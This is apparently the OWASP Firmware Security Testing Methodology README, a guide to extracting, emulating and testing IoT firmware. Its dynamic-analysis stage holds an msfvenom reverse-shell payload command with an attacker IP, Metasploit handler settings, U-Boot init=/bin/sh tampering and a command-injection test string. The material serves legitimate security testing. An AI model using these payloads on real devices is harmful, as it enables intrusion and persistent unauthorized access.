The Firmware Security Testing Methodology (FSTM) is composed of nine stages tailored to enable security researchers, software developers, consultants, and Information Security professionals with conducting firmware security assessments.
493
stars
58
commits
Jun 8, 2026
updated

Whether network connected or standalone, firmware is the center of controlling any embedded device. As such, it is crucial to understand how firmware can be manipulated to perform unauthorized functions and potentially cripple the supporting ecosystem’s security. To get started with performing security testing and reverse engineering of firmware, use the following methodology as guidance when embarking on an upcoming assessment. The methodology is composed of nine stages tailored to enable security researchers, software developers, consultants, hobbyists, and Information Security professionals with conducting firmware security assessments.
| Stage | Description |
|---|---|
| 1. Information gathering and reconnaissance | Acquire all relative technical and documentation details pertaining to the target device's firmware |
| 2. Obtaining firmware | Attain firmware using one or more of the proposed methods listed |
| 3. Analyzing firmware | Examine the target firmware's characteristics |
| 4. Extracting the filesystem | Carve filesystem contents from the target firmware |
| 5. Analyzing filesystem contents | Statically analyze extracted filesystem configuration files and binaries for vulnerabilities |
| 6. Emulating firmware | Emulate firmware files and components |
| 7. Dynamic analysis | Perform dynamic security testing against firmware and application interfaces |
| 8. Runtime analysis | Analyze compiled binaries during device runtime |
| 9. Binary Exploitation | Exploit identified vulnerabilities discovered in previous stages to attain root and/or code execution |
Note: This firmware-specific methodology complements the OWASP IoT Security Testing Guide (ISTG), which provides additional test cases for hardware interfaces, wireless protocols, network services, and user interfaces. For requirements-driven security assessments, the OWASP IoT Security Verification Standard (ISVS) defines WHAT security controls must be implemented, while FSTM defines HOW to test firmware components. Use ISVS, ISTG, and FSTM together for comprehensive IoT device security assessments.
The following sections will further detail each stage with supporting examples where applicable. Consider visiting the OWASP Internet of Things Project page and GitHub repository for the latest methodology updates and forthcoming project releases.
For a complementary approach covering the full IoT device attack surface beyond firmware (hardware interfaces, wireless protocols, network services, user interfaces), refer to the OWASP IoT Security Testing Guide (ISTG), which provides a component-based testing framework with a comprehensive test case catalog. ISTG can be used alongside FSTM's firmware-specific methodology for complete IoT device security assessments.
A preconfigured Ubuntu virtual machine (EmbedOS) with firmware testing tools used throughout this document can be downloaded via the following link. Details regarding EmbedOS' tools can be found on GitHub within the following repository https://github.com/scriptingxss/EmbedOS.
During this stage, collect as much information about the target as possible to understand its overall composition underlying technology. Attempt to gather the following:
The above listed information should be gathered prior to security testing fieldwork via a questionnaire or intake form. Ensure to leverage internal product line development teams to acquire accurate and up to date data. Understand applied security controls as well as roadmap items, known security issues, and most concerning risks. If needed, schedule follow up deep dives on particular features in question. Assessments are most successful within a collaborative environment.
Where possible, acquire data using open source intelligence (OSINT) tools and techniques. If open source software is used, download the repository and perform both manual as well as automated static analysis against the code base. Sometimes, open source software projects use free static analysis scanning services available for open-source projects. For example, the screenshots below show static analysis results from Das U-Boot's scans.

Figure : U-Boot Static Analysis

Figure : U-Boot Static Analysis Results
With the information at hand, a light threat model exercise should be performed mapping attack surfaces and impact areas that show the most value in the event of compromise.
To begin reviewing firmware contents, the firmware image file must be acquired. Attempt to obtain firmware contents using one or more of the following methods:
*Note: Ensure to follow local laws and regulations when downloading data from exposed cloud provider storage services.
Each of the listed methods vary in difficulty and should not be considered an exhaustive list. Select the appropriate method according to the project objectives and rules of engagement. If possible, request both a debug build and release build of firmware to maximize testing coverage use cases in the event debug code or functionality is compiled within a release.
Once the firmware image is obtained, explore aspects of the file to identify its characteristics. Use the following steps to analyze firmware file types, potential root filesystem metadata, and gain additional understanding of the platform it's compiled for.
Leverage utilities such as:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
If none of the above methods provide any useful data, the following is possible:
If the binary may be encrypted, check the entropy using binwalk with the following command:
$ binwalk -E <bin>
Low entropy = Not likely to be encrypted
High entropy = Its likely encrypted (or compressed in some way).
Note: As of 2024, Binwalk v3 has been completely rewritten in Rust, providing significantly faster analysis speeds and reduced false positives compared to earlier Python-based versions. The Rust implementation offers improved memory safety, better performance on large firmware images, and enhanced support for modern compression formats and filesystems (NTFS, APFS). The command syntax remains compatible with previous versions, making it a drop-in replacement for existing workflows. Installation is available via package managers (Kali Linux, NixOS) or the Rust package manager (cargo).
Alternate tools are also available using Binvis online and the standalone application.
This stage involves looking inside firmware and parsing relative filesystem data to start identifying as many potential security issues as possible. Use the following steps to extract firmware contents for review of uncompiled code and device configurations used in following stages. Both automated and manual extractions methods are shown below.
$ binwalk -ev <bin>
Files will be extracts to " _binaryname/filesystemtype/"
Filesystem types: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
Binwalk v3 Performance Note: The Rust-based Binwalk v3 offers substantial speed improvements during recursive extraction (
-e) operations, particularly on large firmware images (>100MB). The verbose flag (-v) provides detailed extraction progress, which is especially useful for debugging extraction failures with complex or obfuscated firmware.
2a. Sometimes, binwalk will not have the magic byte of the filesystem in its signatures. In these cases, use binwalk to find the offset of the filesystem and carve the compressed filesystem from the binary and manually extract the filesystem according to its type using the steps below.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Run the following dd command carving the Squashfs filesystem.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
Alternatively, the following command could also be run.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. For squashfs (used in the example above)
$ unsquashfs dir.squashfs
Files will be in "squashfs-root" directory afterwards.
2d. CPIO archive files
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. For jffs2 filesystems
$ jefferson rootfsfile.jffs2
2d. For ubifs filesystems with NAND flash
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
During this stage, clues are gathered for dynamic and runtime analysis stages. Investigate if the target firmware contains the following (non-exhaustive):
Statically analyze filesystem contents and uncompiled code manually or leveraging automation tools such as firmwalker that parse the following:
The following subsections introduce open source automated firmware analysis tools.
Execute firmwalker within it’s directory in ~/tools/firmwalker and point firmwalker to the absolute path of the extracted filesystem’s root directory. Firmwalker uses information in the "/data/” directory for parsing rules. A custom fork modified by Aaron Guzman with additional checks can be found on GitHub at https://github.com/scriptingxss/firmwalker. The following examples show the usage of firmwalker used on OWASP’s IoTGoat. Additional vulnerable firmware projects are listed in the Vulnerable firmware section at the end of the document.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
See the firmwalker output below.

Two files will be generated, firmwalker.txt and firmwalkerappsec.txt. These output files should be manually reviewed.
When firmware source code or decompiled binaries are available, perform static application security testing (SAST) to identify security vulnerabilities in C/C++ code before runtime analysis. Focus SAST efforts on two critical vulnerability classes that remain prevalent in embedded firmware:
Critical Finding: As of 2025, these vulnerability classes continue to plague devices from consumer IoT to enterprise infrastructure. Recent examples include CVE-2024-41592 (DrayTek routers - buffer overflow in GetCGI() with CVSS 10.0), CVE-2024-21833 (TP-Link routers - OS command injection via unsanitized country parameter), CVE-2024-12856 (Four-Faith industrial routers - command injection in adj_time_year parameter), and CVE-2025-20334 (Cisco IOS XE enterprise switches/routers - HTTP API command injection, CVSS 8.8). The impact spans from home networks to critical infrastructure: CVE-2023-20198 (Cisco IOS XE Web UI, CVSS 10.0) resulted in 40,000-50,000 compromised enterprise network devices worldwide in October 2023. The root cause across all examples: firmware written in non-memory-safe C/C++ without modern language protections built in.
Locating High-Risk Code:
Prioritize SAST analysis on the following code paths most likely to expose remote code execution (RCE) vulnerabilities:
/usr/sbin/httpd, /www/cgi-bin/, /htdocs/, or /web/Pro Tip: Use
grep -r "system\|popen\|exec" <extracted_firmware>to quickly identify code that shells out to the operating system. Then trace backwards to find where user-controlled input enters these dangerous functions. Web server code is particularly valuable for discovering remotely exploitable command injection vulnerabilities that can lead to full device compromise.
The following open-source tools are specifically valuable for embedded firmware analysis:
Lightweight Scanners:
Cppcheck - Static analyzer designed for embedded C/C++ projects
apt install cppcheck or download from cppcheck.sourceforge.iocppcheck --enable=all --addon=cert --addon=misra <source_dir>Flawfinder - Security-focused vulnerability scanner for C/C++
pip install flawfinderflawfinder --html --context --minlevel=4 <source_dir> > report.htmlCompiler-Integrated Tools:
apt install clang-tidyclang-tidy <source_files> -- -I<include_paths>Advanced Semantic Analysis:
CodeQL - Query-based code analysis engine (GitHub)
Semgrep - Fast pattern-based security scanner
pip install semgrepsemgrep --config=auto <source_dir>Analysis Workflow for Maximum Impact:
Use multiple SAST tools in combination, as each tool has unique analysis capabilities and detection patterns. For embedded firmware targeting memory corruption and command injection vulnerabilities, follow this workflow:
Target Code Paths in Priority Order:
/www/cgi-bin/* and /htdocs/* - Web interfaces handling HTTP requestssystem(), popen(), exec*() - Command execution codestrcpy(), sprintf(), gets() - Buffer overflow candidatesFor firmware with available source code, integrate these tools into your analysis workflow before proceeding to dynamic testing stages. SAST findings of command injection in web server code provide high-value targets for Stage 7 dynamic analysis and exploitation attempts. These tools complement binary analysis frameworks like FACT and EMBA by providing source-level vulnerability detection that can guide targeted reverse engineering efforts.
Fortunately, multiple open source automated firmware analysis tools are available. FACT features include the following:
Identification of software components such as operating system, CPU architecture, and third-party components along with their associated version information
Extraction of firmware filesystem (s ) from images
Detection of certificates and private keys
Detection of weak implementations mapping to Common Weakness Enumeration (CWE)
Feed & signature-based detection of vulnerabilities
Basic static behavioral analysis
Comparison (diff) of firmware versions and files
User mode emulation of filesystem binaries using QEMU
Detection of binary mitigations such as NX, DEP, ASLR, stack canaries, RELRO, and FORTIFY_SOURCE
REST API
and more...
Below are instructions for using firmware analysis comparison toolkit within the companion preconfigured virtual machine.
Tip: It is recommended to run FACT with a computer that has 16 Cores 64GB RAM although the tool can run with a minimum of 4 cores and 8GB of RAM at a much slower pace. Scan output results vary on the allocated resources given to the virtual machine. The more resources, the faster FACT will complete scan submissions.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Navigate to http://127.0.0.1:5000 in browser

Figure : FACT Dashboard
Upload firmware components to FACT for analysis. In the screenshot below, the compressed complete firmware with its root filesystem will be uploaded and analyzed.

Figure : FACT Upload
Depending on the hardware resources given to FACT, the analysis results will appear with its scan results upon a given time. This process can take hours if minimal resources are allocated.

Figure : FACT IoTGoat

Figure : FACT IoTGoat Exploit Mitigation Results
Disassemble suspect target binaries with data gathered from FACT using free and open-source tools such as Ghidra, Radare2/Rizin, Cutter, or Capstone. Analyze binaries for potential remote code execution system calls, strings, function lists, memory corruption vulnerabilities, and identify Xrefs to system() or alike function calls. Note potential vulnerabilities to use for upcoming steps.
The following screenshot shows the “shellback” binary disassembled using Ghidra.

Figure : Shellback Ghidra Analysis
Common binary analysis consist of reviewing the following:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el specifies little-endian characters 16-bits wide (e.g. UTF-16).-eb for big endian-t flag will return the offset of the string within the file.-tx will return it in hex format, T-to in octal and -td in decimal.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACKGNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
The 'E' indicates that the stack is executable.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROA script that automates checking many of the above binary properties is checksec.sh. Below, are two examples of using the script.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback

Figure : Checksec.sh
For Microsoft binaries (EXE & DLL), use PESecurity to check for ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard, and HighEntropyVA.
EMBA is designed as a core firmware analysis tool for penetration testers. It supports the full security analysis process, starting with the firmware extraction, static analysis and dynamic analysis via emulation to generating a web-based report for further analysis. Launched with a single command, EMBA automatically discovers potential weak spots and vulnerabilities in the firmware under test, such as insecure binaries, old and outdated software components, potentially vulnerable scripts or hard-coded passwords.
EMBA features include the following:
EMBA is using multiple other tools in the background. The needed system resources depend a lot on the firmware you are going to analyse. Usually EMBA runs quite smooth in the following environment:
To install the necessary environment, you have to run the install script with root permissions:
sudo ./installer.sh -d
You should use the -d switch with the installer to run a typical installation. This will install needed dependencies (e.g. cve-search) on the host and will download the EMBA docker image. We recommend using this for the initial installation.
After the installation process is finished, it is possible to use EMBA for firmware security analysis from the command line. Before starting EMBA please download a testing firmware like the OWASP IoTGoat firmware. The following command shows a typical EMBA command:
sudo ./emba.sh -f ~/IoTGoat-x86.img.gz -l ~/emba_logs_iotgoat -p ./scan-profiles/default-scan.emba
The shown command configures the following basic options:
Further options are available and can be viewed via ./emba.sh -h
The first step of every firmware test is a health check of the current installation:

After the health check was successful the analysis process starts with identification and extraction of the configured firmware:

While testing the firmware, all the results and the current status is shown live in the terminal. As a typical scan will run in threaded mode (-t parameter), this output will be garbled and not very easy to read. For further analysis it is recommend to use the generated text based log files in the log directory and the web report (-W parameter).
After finishing the firmware scan, EMBA shows a summary of the results in the terminal:

Further results are available in the log directory and can be analyzed on the command line or via the web-browser:
firefox ~/emba_logs_iotgoat/html-report/index.html

The generated HTML report is self-contained and can be shared easily. Furthermore, this report is fully interactive and it is possible to reach all the testing details through the aggregated summary dashboard.
Further details are available on the official EMBA git repository.
EMBArk is the web based enterprise interface for the firmware security scanner EMBA. It is developed to provide the firmware security analyzer EMBA as a containerized service and to ease accessibility to the firmware scanning backend EMBA regardless of system and operating system.
Furthermore EMBArk improves the data provision by aggregating the various scanning results in an aggregated management dashboard.

On the details page of all scans you can access the detailed report of a firmware scan, start further tests and download the scan logs:

More details with the main results of each firmware test are available in the detailed report:

More information is available on the official EMBArk git repository.
Note: EMBArk is in a very early development stage.
As firmware security assessments increasingly require regulatory compliance and supply chain transparency, generating a comprehensive Software Bill of Materials has become essential. As of 2025, SBOMs are mandatory for organizations selling software to the U.S. Government (Executive Order 14028), and over 60% of enterprises require SBOMs as part of their cybersecurity practices. The OWASP IoT Security Verification Standard (ISVS) requirement V1.1.1 mandates that devices maintain accurate SBOMs, making firmware-level SBOM generation critical for compliance verification.
Traditional application security tooling creates incomplete SBOMs for IoT and embedded devices due to the following limitations:
A comprehensive firmware SBOM enables:
EMBA's SBOM generation provides comprehensive component tracking specifically designed for firmware analysis. The following example demonstrates SBOM generation during a standard EMBA firmware scan:
sudo ./emba.sh -f firmware.bin -l ~/emba_logs -p ./scan-profiles/default-scan.emba
EMBA automatically generates SBOM data as part of its analysis process, including:
The SBOM output is included in EMBA's HTML report and can be exported in standard formats (SPDX, CycloneDX) for integration with vulnerability management platforms.
When generating and maintaining SBOMs for firmware security assessments:
Ensure firmware SBOMs include the following minimum elements as defined by CISA:
Reference: https://www.cisa.gov/sbom
While EMBA provides comprehensive SBOM generation for firmware, other complementary tools include:
For firmware security assessments, EMBA's integrated approach is recommended as it combines SBOM generation with vulnerability analysis, binary security testing, and emulation capabilities in a single workflow.
Using details and clues identified in previous steps, firmware as well as it’s encapsulated binaries must be emulated to verify potential vulnerabilities. To accomplish emulating firmware, there are a few approaches listed below.
/usr/bin/shellbackTo begin partially emulating binaries, the CPU architecture and endianness must be known for selecting the appropriate QEMU emulation binary in the following steps.
$ binwalk -Y <bin>
$ readelf -h <bin>
el - little endian
eb - big endian
Binwalk can be used identify endianness for packaged firmware binaries (not from binaries within extracted firmware) using the command below.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
After the CPU architecture and endianness have been identified, locate the appropriate QEMU binary to perform partial emulation (Not for emulating the full firmware, but binaries with the extracted firmware.)
Typically, in:
/usr/local/qemu-arch or /usr/bin/qemu-arch
Copy the applicable QEMU binary into the extracted root filesystem. The second command shows copying the static arm QEMU binary to the extracted root filesystem within a ZSH shell showing the absolute path.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Execute the ARM binary (or appropriate arch) to emulate using QEMU and chroot with the following command:
$ sudo chroot . ./qemu-arch <binarytoemulate>
The following example shows Busybox emulated within a typical x64 architecture an attacker machine is likely using.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
Below, is an example of emulating a service that listens on port 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
Also, the same service can be emulated with qiling framework.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
In another terminal, check if the service is listening locally and try to connect to it with netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
Sometimes, requests are dispatched to the CGI binary by the HTTP server. By simply emulating the CGI binary, it's possible to analyze the process procedure or verify the vulnerability without setting up a HTTP server. The following example issues a GET request to a MIPS CGI binary.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
With the target binary emulated, interact with its interpreter or listening service. Fuzz its application and network interfaces as noted in the next phase.
When possible, use automation tools such as firmadyne, firmware analysis toolkit, or ARM-X Firmware Emulation Framework to perform full emulation of firmware. These tools are essentially wrappers for QEMU and other environmental functions such as nvram.
Using firmware analysis toolkit, simply execute the following command:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\\\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / \ _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Note: Modifications to these tools may be required if the firmware contains an uncommon compression, filesystem, or unsupported architecture.
In this stage, perform dynamic testing while a device is running in its normal or emulated environment. Objectives in this stage may vary depending on the project and level of access given. Typically, this involves tampering of bootloader configurations, web and API testing, fuzzing (network and application services), as well as active scanning using various toolsets to acquire elevated access (root) and/or code execution.
Tools that may be helpful are (non-exhaustive):
Reference industry standard web methodologies such as OWASP’s Testing Guide and Application Security Verification Standard (ASVS).
Specific areas to review within an embedded device’s web application are the following:
Depending on the product and its application interfaces, test cases will differ.
When modifying device start up and bootloaders such as U-boot, attempt the following:
init=/bin/sh' at the end of boot arguments
#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py to write the uboot-image and push a modified firmware to gain rootFILENAME’ parameter with command injection commands such as ‘a";/bin/sh;#’ to test input validation for device startup procedures.*Hardware security testing
Attempt to upload custom firmware and/or compiled binaries for integrity or signature verification flaws. For example, compile a backdoor bind shell that starts upon boot using the following steps.
If a root shell has already been obtained from dynamic analysis, bootloader manipulation, or hardware security testing means, attempt to execute precompiled malicious binaries such as implants or reverse shells. Consider using automated payload/implant tools used for command and control (C&C) frameworks. For example, Metasploit framework and ‘msfvenom’ can be leveraged using the following steps.
msfvenom to specify the appropriate target payload (-p), attacker host IP (LHOST=), listening port number (LPORT=) filetype (-f), architecture (--arch), platform (--platform linux or windows), and the output file (-o). For example, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zIf possible, identify a vulnerability within startup scripts to obtain persistent access to a device across reboots. Such vulnerabilities arise when startup scripts reference, symbolically link, or depend on code located in untrusted mounted locations such as SD cards, and flash volumes used for storage data outside of root filesystems.
Runtime analysis involves attaching to a running process or binary while a device is running in its normal or emulated environment. Basic runtime analysis steps are provided below:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>Tools that may be helpful are (non-exhaustive):
When selecting reverse engineering and binary analysis tools, prioritize free and open-source options to ensure accessibility and reproducibility:
Disassemblers and Decompilers:
Dynamic Analysis and Debugging:
Binary Analysis Frameworks:
These tools provide professional-grade reverse engineering capabilities without licensing costs, making firmware security analysis accessible to researchers, students, and organizations worldwide.
After identifying a vulnerability within a binary from previous steps, a proper proof-of-concept (PoC) is required to demonstrate the real-world impact and risk. Developing exploit code requires programming experience in lower level languages (e.g. ASM, C/C++, shellcode, etc.) as well as background within the particular target architecture (e.g. MIPS, ARM, x86 etc.). PoC code involves obtaining arbitrary execution on a device or application by controlling an instruction in memory.
It is not common for binary runtime protections (e.g. NX, DEP, ASLR, etc.) to be in place within embedded systems however when this happens, additional techniques may be required such as return oriented programming (ROP). ROP allows an attacker to implement arbitrary malicious functionality by chaining existing code in the target process/binary's code known as gadgets. Steps will need to be taken to exploit an identified vulnerability such as a buffer overflow by forming a ROP chain. A tool that can be useful for situations like these is Capstone's gadget finder or ROPGadget- https://github.com/JonathanSalwan/ROPgadget.
Utilize the following references for further guidance:
The OWASP Firmware Security Testing Methodology (FSTM) focuses specifically on deep firmware analysis, extraction, emulation, and exploitation. For comprehensive IoT device security assessments, integrate FSTM with complementary OWASP frameworks: the OWASP IoT Security Testing Guide (ISTG) for component-based testing, and the OWASP IoT Security Verification Standard (ISVS) for requirements-driven assessments.
ISTG Components Complementing FSTM:
Recommended Integration Workflow:
Example Integration Points:
ISTG Firmware Test Case Categories:
The ISTG firmware component (ISTG-FW) includes test cases that align with FSTM stages:
When to Use Each Methodology:
The OWASP IoT Security Verification Standard (ISVS) defines WHAT security controls must be implemented, while FSTM defines HOW to test firmware components. ISVS provides a requirements framework that can drive your firmware testing scope and success criteria.
ISVS Role in Firmware Testing:
Workflow: Requirements → Testing → Verification
1. Select ISVS Requirements → 2. Execute FSTM Testing → 3. Verify Against ISVS
(WHAT) (HOW) (SUCCESS)
Mapping ISVS V3 Requirements to FSTM Stages:
| ISVS Requirement | FSTM Stage | Testing Focus |
|---|---|---|
| V3.1 (SBOM) | Stage 5 | Verify SBOM generation from extracted filesystem (see EMBA SBOM analysis) |
| V3.2 (Third-party Components) | Stage 5 | Identify outdated libraries, vulnerable dependencies in extracted firmware |
| V3.3 (Secure Communication) | Stage 7 | Dynamic analysis of encrypted channels, certificate validation |
| V3.4 (Firmware Update) | Stage 7 | Test OTA update mechanism security, signature verification |
| V4.1 (Memory Protection) | Stage 8 | Runtime analysis of ASLR, DEP, stack canaries in binary execution |
| V4.2 (Cryptography) | Stage 5 & 8 | Static analysis of crypto implementations, runtime key storage validation |
ISVS Security Levels and FSTM Testing Depth:
Example: Requirements-Driven Firmware Assessment
Client Request: "Assess IoT device firmware to ISVS Level 2 compliance"
Step 1: Review ISVS V3 and V4 requirements for L2 security level
Step 2: Execute FSTM Stages 1-7 to collect evidence against ISVS requirements
Step 3: Document findings using ISVS requirement IDs (e.g., "V3.4 FAIL: No signature verification on firmware updates")
Step 4: Provide remediation mapped to ISVS controls
Key ISVS Requirements for Firmware Testing:
Resources:
A combination of tools will be used throughout assessing firmware. Listed below, are commonly used tools.
C/C++ Static Analysis Security Testing (SAST) Tools:
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
Feedback and contributing
If you would like to contribute or provide feedback to improve this methodology, contact Aaron.guzman@owasp.org (@scriptingxss). Make sure to open up an issue or a pull request, and we'll make sure to tend to it!
Special thanks to our sponsors Cisco Meraki, OWASP Inland Empire, and OWASP Los Angeles as well as José Alejandro Rivas Vidal for his careful review.
The full list of contributors can be found via https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
License
Creative Commons Attribution Share Alike 4.0 International

The Firmware Security Testing Methodology (FSTM) is composed of nine stages tailored to enable security researchers, software developers, consultants, and Information Security professionals with conducting firmware security assessments.
493
stars
58
commits
Jun 8, 2026
updated

Whether network connected or standalone, firmware is the center of controlling any embedded device. As such, it is crucial to understand how firmware can be manipulated to perform unauthorized functions and potentially cripple the supporting ecosystem’s security. To get started with performing security testing and reverse engineering of firmware, use the following methodology as guidance when embarking on an upcoming assessment. The methodology is composed of nine stages tailored to enable security researchers, software developers, consultants, hobbyists, and Information Security professionals with conducting firmware security assessments.
| Stage | Description |
|---|---|
| 1. Information gathering and reconnaissance | Acquire all relative technical and documentation details pertaining to the target device's firmware |
| 2. Obtaining firmware | Attain firmware using one or more of the proposed methods listed |
| 3. Analyzing firmware | Examine the target firmware's characteristics |
| 4. Extracting the filesystem | Carve filesystem contents from the target firmware |
| 5. Analyzing filesystem contents | Statically analyze extracted filesystem configuration files and binaries for vulnerabilities |
| 6. Emulating firmware | Emulate firmware files and components |
| 7. Dynamic analysis | Perform dynamic security testing against firmware and application interfaces |
| 8. Runtime analysis | Analyze compiled binaries during device runtime |
| 9. Binary Exploitation | Exploit identified vulnerabilities discovered in previous stages to attain root and/or code execution |
Note: This firmware-specific methodology complements the OWASP IoT Security Testing Guide (ISTG), which provides additional test cases for hardware interfaces, wireless protocols, network services, and user interfaces. For requirements-driven security assessments, the OWASP IoT Security Verification Standard (ISVS) defines WHAT security controls must be implemented, while FSTM defines HOW to test firmware components. Use ISVS, ISTG, and FSTM together for comprehensive IoT device security assessments.
